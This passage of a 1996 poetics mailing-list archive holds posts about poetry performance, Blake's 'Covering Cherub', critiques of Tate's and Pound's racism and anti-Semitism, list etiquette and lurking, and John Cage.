known poets I might otherwise overlook (or lesser known poems from established poets not usually associated with this theme)?

Does anyone have any ideas on why coffee house readings are so often lame and depressing; why do these horrible people have a monopoly on the espresso circuit, while so much that is delicious is abandoned to a half-life in academia?

Does anyone have any ideas on how poetry can be successfully performed? Has anyone seen examples, even failed ones?

I look forward to your responses.

Chris Whipple

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102. Robert J Wilson
Covering Cherub
Sun 7 Jul 1996

There's a critical concept/category from Blake that I think is still useful in trying to negotiate the blocked vision and pseudo-pluralism of the US poetry scene, even as worked out in the tender terrain of those panels in Maine-- it's called the Covering Cherub, which I take to be a figure for occluded vision pretending to be open to the past and future, pretending to be benignly liberal and political, pretending to do cultural critique while, at the same time (as in the New Yorker poem, or, for that matter, the poems in Nation or New Republic) bracketing out nine-tenths of social reality and twenty two thousand five hundred and sixty six alternative visions and voices and "outside" (Spicer on Mag Verse genres) languages. The Covering Cherub sits in some middle class heaven, in an Englsh Department of the soul, and he can talk about Language Poetry and AfroAmerican poetics and shaman poets an pidgin poets, he (or she can edit an anthology for Harvard UP too) just makes it possible that what Gramsci called (doing cultural studies in prison for his vision) "good sense" will never break through the "common sense" of ideological sonambulence and formalist reifications and "the big lie of the personal voice." But Covering Cherubs should be heard on language poet panels too, and they should get on poetry lists too and talk and talk and talk the talk, this is called 'cheery American poetry' and that is why, still, 'creativity takes place along a line of flight.' and I want out from that 'dialogue.' Regards to Joe Amato for blasting through so much of the American bullshit, it is an American as apple pie and critical inquiry, Rob Wilson

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103. Robert Drake
Re: Chain unchained?
Sun 7 Jul 1996

---

i'll second earlier enthusiasms for Chain--i'm lookin forward to pt 2...

Chain
107 14th St.
Buffalo NY 14213

$10 for 1 issue, $18 for 2
checks to UB Foundation...

lbd

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104. Burt Kimmelman
Re: Orono
Sun 7 Jul 1996

Joe,
I understand your frustration, but I don't want to see our possibilotoe

possibilities of discourse circumscribed. We're in a wierd techno-leap moment and maybe that accounts in part at least for why people like van hallberg aren't on our list; maybe we should draft a letter to newt gingrich to send some of those lap tops he promised to all the inner city kids of america to senior profs, that is, along with a subsciption to the net.

burt

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105. Peter Nicholls
Re: oppen
Sun 7 Jul 1996

Dear Peter: just wondering whether there is any news from California about Objectivist Nexus....Will you be coming to the UK this summer? Let me know if you are. All best wishes, Peter.

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106. **Joe Amato**
Re: Orono
Sun 7 Jul 1996

burt, yeah... my little rant has been brewing for a while, b/c it's become obvious to me over time how specific discourses operate with personnel in absentia, as it were... i mean to say that, while it's arguable that online exchange is not for all tastes, it's not arguable that such exchange (nevermind electronic publication) is becoming a vital part of academic communities, esp. b/c it presents possibilities for academics to learn from non-academics, for both groups to learn from one another---not least, to learn how to speak to one another... interestingly, too, there's also the little-big question of what "counts" in academic circles as professional service, and as you suggest, sometimes the old guard, or the new old guard (pardon moi), is culpable on the count of not taking this stuff too seriously... perhaps due to sheer lack of electronic exposure (academics can be so very anemic), perhaps b/c things can be so comfy post-tenure... not a blanket statement---there are plenty of tenured, visible, full-blooded folks on this list who for me are the exception proves the rule...

anyway, mebbe i only imagine (as i just posted to another list member backchannel) mebbe i only imagine a certain nonchalance when a legible name begins speaking from the margins, as it were, or from above... as much as i wish to behave w/o rancor, i just get steamed-up a bit when i sense that sort of intrusion (besides, it's hot and humid today in chicago)... and i mean this w/o finger-pointing at keith, and really by way of saying to robert von hallberg, a bit unfairly---

HELLOOOOO---YOU OUT THERE YET, ROBERT???--c'mon into the pool and join the fun!... you may get splashed a bit, either way...

all best,

joe

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107. **Burt Kimmelman**
Re: oppen
Sun 7 Jul 1996

I guess I must have missed something. Peter, could you say more about California and the Objectivist Nexus?

Burt

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108. Steven Howard Shoemaker
Tate/Pound/African-Americans
Sun 7 Jul 1996

Aldon's recent reference to Tate's and Pound's views of African-Americans moves me to put forward an odd bit of business I've been somewhat puzzled lately. In a review of Pound's How to Read published in Poetry, Tate uses a racially and ethnically charged image to make a point about what he sees as Pound's shortcomings. The review acknowledges Pound as someon who "understands, as no other living man...the craftsmanship of verse," but also points to a "logical confusion of his [Pound's] intellect when it is not performing the task which is specifically his own, that task being poetry." (So far, this is an argument that seems to have some merit.) From there Tate takes extended exception to a comment of Pound's to the effect that when one is studying great inventors (like Newton or Dante) one shld be allowed to extract the gist of their discoveries without being bothered about "laundry bills" (i.e. an unnecessary clutter of biographical data). Tate sees poetry not as a science, with inventions and discoveries, but as a craft. As such, "It is the product of innumerable factors--of the relations among language, church and society, between fathers and mothers, butchers and bakers, between the poet and what society thinks of him." Accordingly: "the laundry bills of Dante should be zealously studied, by somebody like Mr. Pound who would know why he is studying them."

So what we have is a plea for an historically informed understanding of poetry and the poet's role in society. Not all that far from the the Oppens' criticism that Pound wld have been better off if he had spent some time in a factory before developing a theory of economics. But then comes Tate's final criticism of Pound: "Finally, I should like to intimate that Pound's own laundry bills might be studied with profit, for they are fuddling his logic. They would make an interesting collection, beginning with Idaho and Indiana, and ending up with the banks of the Susquehanna and the 'banks o' Italie.' There is Mr. Pound sitting in his heap of miscellaneous laundry bills, so confused outside the moment of his craft (which is the most lucid of our time), that he thinks the laundry bills did the washing: what Mr. Pound needs is just an ordinary Irish or colored washerwoman. To look an honest African wench in the face is better than a column of figures, and a fine cure for the belief that a poet can get along without having any laundry done at all.

As I see it, Tate is suggesting that what an appropriate historical grounding (i.e. looking an honest African wench in the face) will tell you is the absolute necessity of the current forms of racial and political oppression (somebody's gotta do the laundry and it's not gonna be Tate). The analysis is like the Oppens', but with an exactly opposed political valence. Also interesting because I have been trying to think about Pound's racism, but what happens here is that Tate's own

form of racism seems (in Tate's reading) to cancel out Pound's. For Tate, Pound is a "dyed-in-the-wool revolutionist" who wld abolish the social hierarchies.

So that's my reading, but the problem is that I don't know much at all about Tate and his other expressions of his views on race. Can anyone (perhaps Aldon) give me some more context here?

Sorry this is so long,
steve

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109. **maria damon**
Re: Tate/Pound/African-Americans
Sun 7 Jul 1996

In message <[redacted]> UB Poetics
discussion group writes:
>...
> So that's my reading, but the problem is that I don't know much at all
> about Tate and his other expressions of his views on race. Can anyone
> (perhaps Aldon) give me some more context here?
>
> Sorry this is so long,
> steve

walter kalaidjian has an extended analysis of the "New Critics" and Agrarian poets and critics on race. it's in a book forthcoming i think from michigan? edited by Stephen Watt and someone else??? and entitled something like "Marketing Modernisms." if you can't find that book, i'm sure walt will share his essay w/ you; he's in the the english dept at emory. bests, maria d

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110. **maria damon**
Re: Tate/Pound/African-Americans
Sun 7 Jul 1996

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> So that's my reading, but the problem is that I don't know much at all
> about Tate and his other expressions of his views on race. Can anyone
> (perhaps Aldon) give me some more context here?
>
> Sorry this is so long,
> steve

ps. tate taught in the dept i now teach in, and he is known to have been rather retro in the fifties by his then colleagues. i've heard him thus characterized by leo marx, who was in the american studies program, who sd that, much as these english dept new-critics were admirable intellectual colleagues and congenial conversants, "I suspect that were the subject to have turned to politics we would have had little to say to each other." folks like marx lived in terror of the mccarthyite shadow, while folks like tate WERE that shadow.--md

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111. maria damon
Re: Tate/Pound/African-Americans
Sun 7 Jul 1996

In message <[redacted]> UB Poetics
discussion group writes:
>...
> So that's my reading, but the problem is that I don't know much at all
> about Tate and his other expressions of his views on race. Can anyone
> (perhaps Aldon) give me some more context here?
>
> Sorry this is so long,
> steve

3rd installment: i think that while tate and others were embarrassed by pound's fanaticism, which they saw as indecorous, basically they shared, if not his out-right fascism which was, after all, unpatriotic, a horror of Jews, Blacks and other Others who could not quite conform to their standards of rational --en-lightenment --humanity.

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112. Steven Howard Shoemaker
Re: Tate/Pound/African-Americans
Sun 7 Jul 1996

Thanks for responding Maria. I'm trying right now to apply some of your in-sights from the Stein chapter in *the dark end of the street* to a reading of a piece of "Yiddish" doggerel that was Pound's contribution to *An "Objectivists" Anthology. Trying to think about what happens when an "in-between language" is staked out for use by a representative of the white, male, gentile modernist establishment rather by a member of the "minority" culture...

steve

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113. Jerry Rothenberg
Re: Covering Cherub
Sun 7 Jul 1996

For Rob Wilson, if it's of any interest.

In the second issue of SULFUR (1981, altho it doesn't seem to me that long ago) I had an attack piece vis a vis Harold Bloom called "The Critic As Exterminating Angel" -- at the end of which I go into a few pages about the Covering Cherub ("who in one tradition may be the Exterminating Angel himself, the [Hebrew] Malakh ha-Mavat" and who "guards the Tree of Life & blocks the return of fallen man to Paradise.") Bloom writes on this in considerably more detail and I'm in fact turning it on him, polemically, for reasons explained in the essay. Eshleman, who was editing Sulfur then as now, was very good on this matter, although I don't know off hand where -- if anywhere -- he has it in writing.

In that context, I think, Covering Cherubs are much more foreboding than what you're suggesting -- what I thought of at the time as that which "not only keeps the poet from the paradise of poetry but from a natural relation- ship to all those poets who inhabit it." I pin the label on Bloom in that one, tho there's clearly more to it than that.

Jerome Rothenberg
[redacted]

ps. If you're in Hawaii when I get there in September, maybe we can meet & talk about this & related matters.

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114. Tony Green
Re: poetry performance
Sun 7 Jul 1996

Hi Christopher Whipple. Response to your notion abt actors. Distaste for actors reading poetry for me goes with the felt difference between stand-ups and actors. "Stand-ups can't act" is a way of noticing that stand-ups do not seem to know they are assuming a role (even though, of course, they are). Actors always assume roles. Rather than actors you want really good poet-readers. Last year I had the pleasure of hearing Robert Creeley reading Williams et al. You want something like that: no putting on a special voice or tone, no change from Creeley-voice reading Creeley that I could identify, but a real intelligent sense of what the text was doing at any point. That was really engrossing. To turn up the volume, to turn up the decor, to turn up the video-presentation, may do something for people who don't actually like poetry, but there is a danger in

that of a deceptive kind of substitution. I guess I feel the poetry is damaged, more or less seriously by what you are thinking of.

best

Tony Green,
e-mail: [redacted]

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115. Gabrielle Welford
Ougarit (suite) (english/french) (fwd)
Sun 7 Jul 1996

More on this mag. Gab.

---------- Forwarded message ----------
Date: Sun, 7 Jul 1996 08:01:45 -1000
From: J-C Helary <[redacted]>
To: Multiple recipients of <[redacted]>
Subject: Ougarit (suite) (english/french)

Happy to see that although I posted in french, some people replied. It makes me wonder about (so called ?) progressists on a moderated news group criticizing a french contributor who complained because his french posts were never sent. It was about cultural imperialism. He was replied (more or less) that it was really a joke that french criticize anglo-saxons for cultural imperialism and anyway, english was a lingua franca on this ng and throughout usenet so he would just have to cope with it...

Good to see it's not like this here.

==========

for GDGoodman ([redacted]) :

I'll try to make a summary of my previous post.

I'm working in a book shop specialized in the arab world, in Paris, an we received last week the first issue of a palestinian art magazine edited in Ramallah, in the occupied territories. I just decided to reproduce their presentation letter with their fax number so that interested people could get in touch with them. They don't seem to have Internet access (like most people on the world...).

The magazine is supposed to become an interdisciplinary art forum (which probably sounds quite pompous on our side of the world but might mean different things there), a place were they can share new visions and be in touch with currents developed abroad from which they had been cut off for a long time.

They say that the troubled times they live are the source of a cultural and artistic renewal that leads to high quality creations.

This letter, and the joined issue is supposed to be a bridge across mediterranee (?) to places beyond. They hope to be able to publish this magazine twice a year, depending on local conditions.

En vous souhaitant une bonne lecture, nous vous prions d'agréer Madame, Monsieur, l'expression de nos sentiments chaleureux. (sincerly yours,)

Le comité de rédaction.

Ougarit
c/o Hussein BARGHOUTHI
Cultural Studies Department
Bir Zeit University
P.O.BOX 14 - Bir Zeit
Palestine
fax : (972 2) 995 78 10 ou (972 2) 995 76 56

==========

for Neil ([redacted] (esperanto))

Je m'appelle Jean-Christophe, Jean-Claude c'est mon père mais je ne crois pas que tu le connaisse.

La revue est bilingue, une partie française, une partie arabe. Je n'ai pas pris le temps de la lire (je ne connais pas encore assez bien l'arabe pour commenter la deuxième partie anyway).

Je suis mal placé pour parler de la langue des colons mais il me semble que toutes les langues majeures (du point de vue de la quantité de locuteurs) le sont parcequ'elles ont été la langue d'un peuple en position de supériorité à un moment de l'histoire. Donc on peut considerer une langue comme un média privilégié dans une aire culturelle donnée. A toi de choisir ton public.

Quant à leur utilisation du Français, je ne trouve pas ça bizarre vu "l'importance" qu'a eu la France dans cette région à une certaine époque. Peut-être que leur niveau de conscience n'est pas encore parvenu à la critique de l'impérialisme culturel... Mais je pense que le multilinguisme est quelque chose d'autre que ça (I mean l'absence de critique de l'impérialisme culturel). Le multilinguisme est une situation 'normale', c'est la standardisation unilingue qui ne l'est pas (IMHO).

==========

Amicalement,

Jean-Christophe.

==========

Stand up, all victims of oppression
For the tyrants fear your might
Don't cling so hard to your possessions
For you have nothing, if you have no rights
Let racist ignorance be ended
For respect makes empires fall
Freedom is merely privilege extended
Unless enjoyed by one and all

So come brothers and sisters
For the struggle carries on
The Internationale
Unites the world in song
So comrades come rally
For this is the time and place
The internationale ideal
Unites the human race

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116. Gabrielle Welford
Re: poetry performance
Sun 7 Jul 1996

nHi Christopher. My question is where are the women? Mina Loy began publishing around 1914. And other _Others_ folks. And and and.. gab.

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117. Herb Levy
Subtext Readings for July & August, solicitation for Fall readers
Sun 7 Jul 1996

I don't think that the last two Subtext readings curated by Nico Vassilakis have been posted yet, so here they are:

July 18th
Noemie Maxwell & (from Vancouver) Lisa Robertson (followed by a short, uncurated performance by visiting composer Ellen Fullman)

August 15th
Bryant Mason & (from Oregon) F A Nettelbeck (who will perform some collaborations with Seattle-area composer/performer Wayne Horvitz)

All readings start at 7:30 pm on the third Thursday of each month, at the Speakeasy Cafe, in Seattle's Belltown district.

See you there.

If any writers on the list know that they'll be in the Northwest this fall, please let me know via e-mail (address below). There's still some spaces available.

Bests

Herb

Herb Levy
[redacted]

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118. Ron Silliman
Listpersonship
Sun 7 Jul 1996

This will sort of be all over the place, but I got piqued by the discussion about von Hallberg's participation(and by extension, of others in a similar position).

My personal guess with regards to Bob not belonging to this (or any other) list is simply that he imagines himself as having better things to do with his time/energy. Ultimately, I think it falls outside our own ability to judge another's intentions. It's like suggesting that, say, Bruce Andrews is politically incorrect because he doesn't choose to own a computer.

There is also a certain hubris in suggesting that this list, as distinct from CAP-L, Wr-eye-tings, The Sixties, the Derrida, Deleuze, Baudrillard, Fluxus, High Tech Marketing or any other list is or is not at the center of the information universe.

But beyond those two very big caveats, the question is not a bad one. There is a very distinct phenomenon on many campuses of people, some of them "senior critical" or even directly poetry heavyweights, who do not participate in whatever avenues the scene in their vicinity takes. I recall being amazed that James E.B. Breslin, a favorite professor of mine at Cal, who could speak passionately about post-WW poetry and sympathetically read a wide range of it, never seemed to think to actually attend a poetry reading in Berkeley, let alone San Francisco. It was as if there was a total disconnect. Similarly, students and faculty at Stanford (with the notable exception of Marjorie Perloff) seem to find San Francisco impossibly far away. And I've met one person connected with the Stanford writing scene for over a decade who claims (facetiously?) never to

have physically laid eyes on Gilbert Sorrentino. I suspect the examples with regards to NYC are at least as mind boggling.

It is, as I think everyone of us knows all too well, very possible for people to be "professionally engaged" with contemporary literature without ever connecting to it as an active social phenomenon, something going on in their town. Sometimes that's just a reclusive personality (hermetic types from Anne-Marie Albiach to Karl Young are legion). I once knew a poet, someone who published several books in the 1970s, edited a magazine and published a few terrific books of other peoples, who hated to meet writers, because they were never the perfect beings he envisioned from their poems. I've also known others who had a seriously ill child, partner or parent, who were equally removed.

But what may be situational or neurotic can also be utilized cynically, and I think that was the question being suggested by someone like Bob having to have his inputs "forwarded" to the list. It suggests both that he's not so out of touch as to not know about its existence, but somehow too something (fill in your paranoia here) to be bothered to participate directly.

Of course, the day this list becomes the transparent medium of all poetry (or even of all post-New American poetry), it will be far too unwieldy to have any further value. It's value consists precisely through the work of people who do participate. And, frankly, it matters much more what somebody who actively participates on this list thinks than it does some distant critic who's not clued in. Why not badger Fred Jameson? Or Andrew Ross? Or, or, or?

How does von Hallberg's response, detailed and serious as it was (I can't tell if Aldon misrepresented him or not, although knowing the two of them I'm inclined to buy Nielson's account), differ from, say, Catherine Stimpson saying in the NY Times on the day that the MacArthur Foundation (whose fellowship process she directs) awarded a grant to Richard Howard that the fellowships were being given to those who are "pushing the envelope"? von Hallberg at least knows what the issues are.

It seems to me that a much closer and more tangible form of "passive aggressive" relation to any list like this one (including this one) comes from those people who function as "pure lurkers," who actively want to get some of the value produced by this collective mind (to use Marc Andreeson's definition of the internet) without wanting to contribute themselves. This one-way relationship falls somewhere between pure consumption and parasitism proper. If I were feeling intemperate (and I have my moments), I'd be inclined to suggest a rule on the order of deleting anyone who doesn't contribute to the discussion, say, once per month.

Now that's a modest proposal...

Ron Silliman
[redacted]

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119. JOEL LEWIS
Re: Tate/Pound/African-Americans
Mon 8 Jul 1996

---

memorey is hazy.... but Tate does write the intro to Melvin Tolson's Libretto for the Republic of Liberia (??) in th 50's, remember the intro as serving as the official New Crit blessing on the African_american Modernist.

Joel Lewis

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120. Aldon L. Nielsen
Re: Tate
Mon 8 Jul 1996

By all means read Walter's essay, and tell him to send me a copy!

meanwhile, read Tate in I"ll Take My Stand, his novel, The Fathers, his collected poetry reviews, his bio. of Stonewall Jackson, the intro. to Tolson that Lorenzo spoke about so effectively at the Maine conference --

AND it wdn't hurt to read the poems again --

I've been away from studying Tate too long to know what's been done just recently -- so fill me in, via the list, on anything further you come across --

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121. Kevin Killian
Re: Listpersonship/aldon/rvh
Mon 8 Jul 1996

At 12:19 PM 7/8/96, maria damon wrote:
>i'm somewhat struck by how a discussion about race, sociology and literary
>criticism has turned into a discussion of list etiquette. this is indeed
>one of
>the problems i think rob wilson touches on in his scathing "covering cherub"
>posts. volatile issues of materialist criticism get watered down into an
>internicene critique of our own teensy weensy little hierarchy of
>poetry-critics

Poetry-critics? Am I naive in my assumption that the poetics list was at least originally intended as a place for the discussion of poetics by *poets*?

> *this not to say that any one remark about list-politics and academic politics is trivial or ill-directed, but the cumulative effect of what draws discussion and what dies in silence is noteworthy. likewise, chris s's query last week about erotics and race, or aldon's challenge to the view that interracial sex is*
> *politicallly radical both got no pick-up.*

Again, this is a *poetics* list. I'm sorry, but I find this holier-than-though attitude of your post very offensive, this accusing of 400 people of racism because no once picked up on threads that *you* found important.

Dodie Bellamy

↑ Index

122. Jonathan A Levin
Re: Tate/Pound/African-Americans
Mon 8 Jul 1996

Just a footnote to Maria Damon's first note--

Marketing Modernisms (I think that title is correct) is forthcoming from Michigan, and is edited by Stephen Watt and Kevin J.H. Dettmar. I know the editors just received final proofs, so maybe the book will appear later this year.

Jonathan Levin

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123. Robert J Wilson
Re: Covering Cherub
Mon 8 Jul 1996

Dear Jerry Rothenberg, Thanks for the return of the uncanny Covering Cherub as a critical cateogry/weapon to be used against those who would depoliticize and/or monopolize the sublime of vision in a narrow, lyric solipsism kind of way (HB). And one can only appreciate and applaud the detailed and painstaking and broadhearted way you have fought to keep this 'return to paradise' open to diverse traditions and contenders that the northeast hegemony has never heard of reckoning. All I meant, in this devious context of American liberalist poetics, that a third and mediating level (the state and its ideological agents, complicit, unconscious, sleepwalking and otherwise) has to be thought through, because when somebody tells me (arguing on a large scale, absorbing diverse poets left and write) that American poets work 'to consolidate empire at home and abroad' etc, then I day, let us blast that Covering Cherub out of the line of vision so that a non-imperialist poetics and a more trenchantly politicized vision of what trans/US poetics could and should be-- to invite such people as 'keynote' speakers at Orono or otherwise seems to me a derelection of duty and vision.

When you know the details on what books, projects, essays etc such people have deviously rejected "anonymously," then I say let us take those people out and off the scene so that some poetic deep thinking can begin "In the Middle of [Reified] Modernism in the Middle of [Late] Capitalism on the Outskirts of New York [Chicago]." I am tired of crossing a desert of dead vision even if it means, for me or for some, that in visionary terms I can 'enter the paradise of Blakean heaven." That such people read and appropriate all the emergent energies of counter-poetics makes it all the more devious and urgent to get some agon going by which to overturn the temples of the moneylenders and their market-friendly babble.

And of course I look forward to your visit to Hawaii where you can enter into the Tinfish/Bamboo Ridge/redflea indigenous poetics of the local in some helpful way. The president of HLAC (Hawaii Lit Arts Council), Gabriel Welford, urged me to send you some essays and works on and around local/Pacific poetics, and I just remembered I will do so. The Covering Cherub is out here too, and it may (at times) be me. take care, Rob Wilson

On Sun, 7 Jul 1996, Jerry Rothenberg wrote:

> *For Rob Wilson, if it's of any interest.*
>
> *In the second issue of SULFUR (1981, altho it doesn't seem to me that long ago) I had an attack piece vis a vis Harold Bloom called "The Critic As Exterminating Angel" -- at the end of which I go into a few pages about the Covering Cherub ("who in one tradition may be the Exterminating Angel himself, the [Hebrew] Malakh ha-Mavat" and who "guards the Tree of Life & blocks the return of fallen man to Paradise.") Bloom writes on this in considerably more detail and I'm in fact turning it on him, polemically, for reasons explained in the essay. Eshleman, who was editing Sulfur then as now, was very good on this matter, although I don't know off hand where -- if anywhere -- he has it in writing.*
>
> *In that context, I think, Covering Cherubs are much more foreboding than what you're suggesting -- what I thought of at the time as that which "not only keeps the poet from the paradise of poetry but from a natural relationship to all those poets who inhabit it." I pin the label on Bloom in that one, tho there's clearly more to it than that.*
>
> *Jerome Rothenberg*
> [redacted]
>
> *ps. If you're in Hawaii when I get there in September, maybe we can meet & talk about this & related matters.*

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124. Dean Taciuch
Re: poetry performance
Mon 8 Jul 1996

I agree with Tony Green's position on actors performing the poetry--best to have other poets reading the works. The readers need to be concerned with the medium itself--the language. I don't think actors generally would do this--their concern would be with the meaning, the emotions, of the poem. The temptation would be, I think, to render "dramatic" readings of the poems, which would damage them in the same way as using, say "dramatic" lighting to make sure the audience "got the point." In Joan Retallack's recent book of interviews with John Cage, Cage had a similar problem with using Julliard musicians to perform his compositions--they try to emote, rather than allowing the music to occur. Same with the poetry, I think--actors would tend to force meanings out, rather than allowing them to occur in the langauge.

Dean Taciuch
[redacted]

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125. Gwyn McVay
Re: Tate/Pound/African-Americans
Mon 8 Jul 1996

Steve, in the same vein, what about Berryman's Henry Pussycat?

On Sun, 7 Jul 1996, Steven Howard Shoemaker wrote:

> *Thanks for responding Maria. I'm trying right now to apply some of your insights from the Stein chapter in *the dark end of the street* to a reading of a piece of "Yiddish" doggerel that was Pound's contribution to *An "Objectivists" Anthology. Trying to think about what happens when an "in-between language" is staked out for use by a representative of the white, male, gentile modernist establishment rather by a member of the "minority" culture...*
>
> *steve*

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126. maria damon
Re: Tate/Pound/African-Americans
Mon 8 Jul 1996

steve: fascinating! could you send me that piece by pound. i shudder to think what the objectivists made of this. it seems that in this case, you are dealing

with something more charged than a "white male gentile modernist" but someone who dedicated much of his life and risked his national standing to participate in the war on the Jews,,, in other words, a confirmed anti-Semite of the unsubtle kind.--md

In message <[redacted]> UB Poetics
discussion group writes:
> Thanks for responding Maria. I'm trying right now to apply some of your
> insights from the Stein chapter in *the dark end of the street* to a
> reading of a piece of "Yiddish" doggerel that was Pound's contribution to
> *An "Objectivists" Anthology. Trying to think about what happens when
> an "in-between language" is staked out for use by a representative of
> the white, male, gentile modernist establishment rather by a member of
> the "minority" culture...
>
> steve

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127. **Henry Gould**
Re: Tate/Pound/African-Americans
Mon 8 Jul 1996

On Mon, 8 Jul 1996 09:44:41 -0400 Gwyn McVay said:
>Steve, in the same vein, what about Berryman's Henry Pussycat?

See Miao Filene's monograph, "Catty Gossip, Anemic Cad : Berryman's Pseudo-Animalism in _The Dream Songs_", Manx University & Veterinarian Institute Press, 1995. A good critique of Berryman's uncrritical presumtive style, employing an analysis of his use of CATalepsis and DOGberryisms in ahistorical and super-humanist frames (or, as she calls them, "c-oops"). - Henry Gould >..<

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128. **Joe Amato**
Re: Listpersonship
Mon 8 Jul 1996

---

ron, yo, i'm over here man...

hey: i can only imagine, again, what subject position someone is writing from who feels free to have his post forwarded (this latter construction the most lenient i can manage) to a list of some 400 plus folks, many or most of whom he doesn't know... i would never, never do this mself, and i've been hanging around online for some time now, here and there... which means either (1) robert von hallberg has no working knowledge of list communities, and doesn't

see this as a cheeky move or (2) he really doesn't care if this is seen as a cheeky move... let's be nice and go with (1)... which feeds my hunches about how senior folks in our profession, on the avg., have a print-based sense of themselves... i won't get into all of the various twists and turns of this latter assertion at this point... but von hallberg clearly has a critical rep. at stake, yes, and all's i'm asking that he do is subscribe to poetics formally to address what he takes as a challenge to same from aldon...

as to whether we can talk "about" anybody who's not on this list: well as you say, this ain't the center of the poetics world or anything... but again, me talking about, say, andrew ross is not quite the same thing as me talking about robert von hallberg... i mean, look at the dynamic that's developed: from now on, any time i write "robert von hallberg" i feel his absent presence... mebbe it's just me, but it's like i'm talking at once behind and in front of his back... and I DON'T KNOW THE MAN, and this is not my way... and this all b/c he stuck only his Big toe into the pool to test its temperature, as it were... whereas ross hasn't done so, except to the extent that his *public* post about the sokal affair (thankfully) ended up here (and if you wanna know what i think about ross's little stunt, just ask and i'll send you a 45kb draft of a piece i'm finishing up for _ebr_ on why the sokal situation shoulda been electronic from the get-go)...

so intentions and such aside, fact is that this list dynamic has been altered for me wrt
r-o-b-e-r-t v-o-n h-a-l-l-b-e-r-g... and i expect for a few others anyway...

now, as to "pure lurkers": ain't really no such thing, is there?... i mean, this presumes that there are some folks who will *never* leave lurk mode... granted, there may be many who rarely do... but at least we can imagine them, say, *listening* to some of what's being espoused by mouthier types like you and me and _____(i assume they're not merely processing the messages into oblivion)... and listening is worth something, ron... now as i see it we should be working, all of us, to try to pull more folks out of lurk, make for more comfortable regions hereabouts... and it happens: there have been a number of folks who've waited quite some time, by their own accounts, to enter into the public discussion (i suspect in fact your remarks may provoke same, as i'm sure you're aware)... and this takes time, and it's time that allows these spaces to mutate, to register, say, different sorts of conversational possibilities---which is to say different gendering, different cultural potentials, and such like... so your "modest proposal" (setting aside how easy it would be to defeat same functionally) gives exceedingly short-shrift to the possibility of helping this space accommodate---if not all tastes, predispositions, what have you---at least a somewhat broader range of interests and motivations than you and i and _____ can hope to represent...

and again, i'm preaching to the choir now---you know this already...

ok?... just so's we're talking *to* each other, yknow...

peace//

joe

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129. Christopher Reiner
Witz Announcement
Mon 8 Jul 1996

Hi everyone,

Can this count as my once-a-month message?.....

WITZ: A Journal of Contemporary Poetics

Essays * Criticism * Reviews

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ISSUE 4.2 - SUMMER 1996

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By Mark Wallace

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Towards A Theory of the Net"
By Loss Pequeno Glazier

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[redacted]

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130. Burt Kimmelman
Re: Listpersonship
Mon 8 Jul 1996

Ron,

I agree with you except for your suggestion that each list member have to say SOMETHING to the list at least once a month; then there'd be a lot of meaningless chatter, I fear, which demeans all the good talk that often also takes place. No, the list is fine as it is, terribly unfair at times, perhaps, but also incredibly free (or at least as free as we want to be since we may be worried about having what we say on the list repeated elsewhere; of course, again (as I said the other day--and this is no news to you but I'll say it anyway here), we're in a techno-warp and questions about copy righting, patenting, authored (single and multiple) and authorless texts (even linearity?) are not to be resolved easily. I know I'm saying the obvious here but perhaps it needs saying and then maybe we can all move on to other matters?

Burt

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131. Steven Howard Shoemaker
Re: Tate/Pound/African-Americans
Mon 8 Jul 1996

Maria, Yes, I treat him as a "confirmed anti-Semite" throughout, and have already written about his anti-Semitism and how it affects his relations with Zukofsky in a piece that will be in the collection on Zuk edited by Scroggins, and due out anytime, i guess, from U of Alabama Press (any word, Mark?). What makes things complicated is that, unlike an anti-Semite like Eliot (whose public pronouncements are actually much less virulent), here is Pound in the

early '30s working with all these Jews! And, as Casillo shows and I am seeing as well, there is a thread of admiration, and competition, running thru the anti-Semitism. The point is not that this admiration mitigates the anti-Semitism but that it is weirdly part of it... and that ties into Pound's need to "try on" the Yiddish... steve

Maria wrote:
>
> steve: fascinating! could you send me that piece by pound. i shudder to think
> what the objectivists made of this. it seems that in this case, you are dealing
> with something more charged than a "white male gentile modernist" but someone
> who dedicated much of his life and risked his national standing to participate
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> > an "in-between language" is staked out for use by a representative of
> > the white, male, gentile modernist establishment rather by a member of
> > the "minority" culture...
> >
> > steve
>

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132. Rod Smith
Re: Listpersonship
Mon 8 Jul 1996

Ron wrote:
>If I were feeling
intemperate (and I have my moments), I'd be inclined to >suggest a rule
on the order of deleting anyone who doesn't contribute >to the
discussion, say, once per month.

Ron, do we really want that many posts! My mailbox is always already stuffed.

Rod

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133. maria damon
Re: Listpersonship/aldon/rvh
Mon 8 Jul 1996

i'm somewhat struck by how a discussion about race, sociology and literary criticism has turned into a discussion of list etiquette. this is indeed one of the problems i think rob wilson touches on in his scathing "covering cherub" posts. volatile issues of materialist criticism get watered down into an internicene critique of our own teensy weensy little hierarchy of poetry-critics this not to say that any one remark about list-politics and academic politics is trivial or ill-directed, but the cumulative effect of what draws discussion and what dies in silence is noteworthy. likewise, chris s's query last week about erotics and race, or aldon's challenge to the view that interracial sex is politicallly radical both got no pick-up. md

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134. Rod Smith
Re: and john cage and car sickness
Mon 8 Jul 1996

In response to Mark's post of a few days ago. I think Cage's relationship to "the western tradition" was complex & highly contextual. & of course he could get angry on occasion. The maddest I ever saw him was at a concert at the Philips Collection, the pianist had chosen the program to be performed, which included Ives, Crumb, Cage, &, I believe he had wanted to play a longish piece by Liszt (clue, clue) which was turned down, or maybe he did play it, don't remember. Any case he played one of Cage's pieces from the fifties very badly. The pianist told us he had only read the score the day before. At the intermission he said to the curator, in a very congenial manner, "thank the pianist for me, and ask him never to play my music again" and we left.

By the time I knew him, his work, & that of many artists he felt kinship with, was internationally acclaimed. So his energy was consumed by doing the work rather than railing against a tradition. Also, I'm not sure it's accurate to say he left the or a tradition-- rather that he & others played a part in changing it.

Rod

Mark Wallace wrote:

Hey Rod:

Thanks for the clarification on my earlier remarks relative to John Cage and his feelings towards the musical traditions he leaves behind. But your post leaves me with a question I'd like to hear more from you about. When you say that "at a certain point, Cage simply didn't need that tradition anymore" (I'm paraphrasing), are you implying that he left it behind without antagonism, just decided it could be ignored? Or, if he continued to have reactions towards it, what were the nature of those reactions? Loathe is, I can see, probably too strong. But what, from your understanding, would be the proper way to characterize his feelings towards the tradition he leaves behind? There's something about your post that seems almost to be characterizing his reaction as strangely unemotional--i.e., oh there it is, I don't need that, it really doesn't bother me and let's talk about something else. That seems to me a little bit hard to believe--you're trained in a whole tradition, work in it for many years, and then one day decide it's not significant, and leave it without much feeling either way? I'm just curious as to whether you could try to characterize more fully his reaction to what he left behind.

mark

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135. **c.g. guertin**
Re: Listpersonship
Mon 8 Jul 1996

Lurker equals/does not equal listener? Is this a 'bad' moral equation? Silence is evil or simply undesirable?

cg

